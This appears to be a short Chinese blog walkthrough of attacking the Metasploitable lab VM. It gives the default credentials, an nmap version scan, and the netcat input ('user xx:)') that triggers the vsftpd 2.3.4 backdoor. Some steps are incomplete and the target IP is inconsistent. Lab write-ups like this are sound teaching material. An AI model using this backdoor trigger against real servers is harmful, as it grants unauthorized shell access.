本文介绍了如何针对靶机metasploitable进行渗透测试。靶机默认账号密码为msfadmin，IP地址为192.168.80.130。通过Kali系统进行端口扫描，发现21端口运行的是VSFTPD 2.3.4，存在笑脸漏洞。利用该漏洞，尝试通过在用户名后添加笑脸符号（如user xx:))，并随意输入密码进行攻击。同时提到了NC（netcat）工具在攻击过程中的应用。
靶机metasploitable
默认登录账号和密码都是：msfadmin
登录后查看靶机IP：192.168.80.130
打开kali首先输入sudo su ，输入当前用户密码即可切换root，利用nmap -sV 192.168.80.130对目标服务器进行服务及版本扫描
扫描结果发现21端口是提供ftp服务的端口，服务器安装了vsftpd2.3.4版本的服务，因此可以利用笑脸漏洞来测试一下，输入命令 nmap
端口是关闭的
另外开个窗口nc 192.168.178.129 21 连接靶机，user后随便加笑脸，密码随便 user xx:) pass xx
NC（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大。
903
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
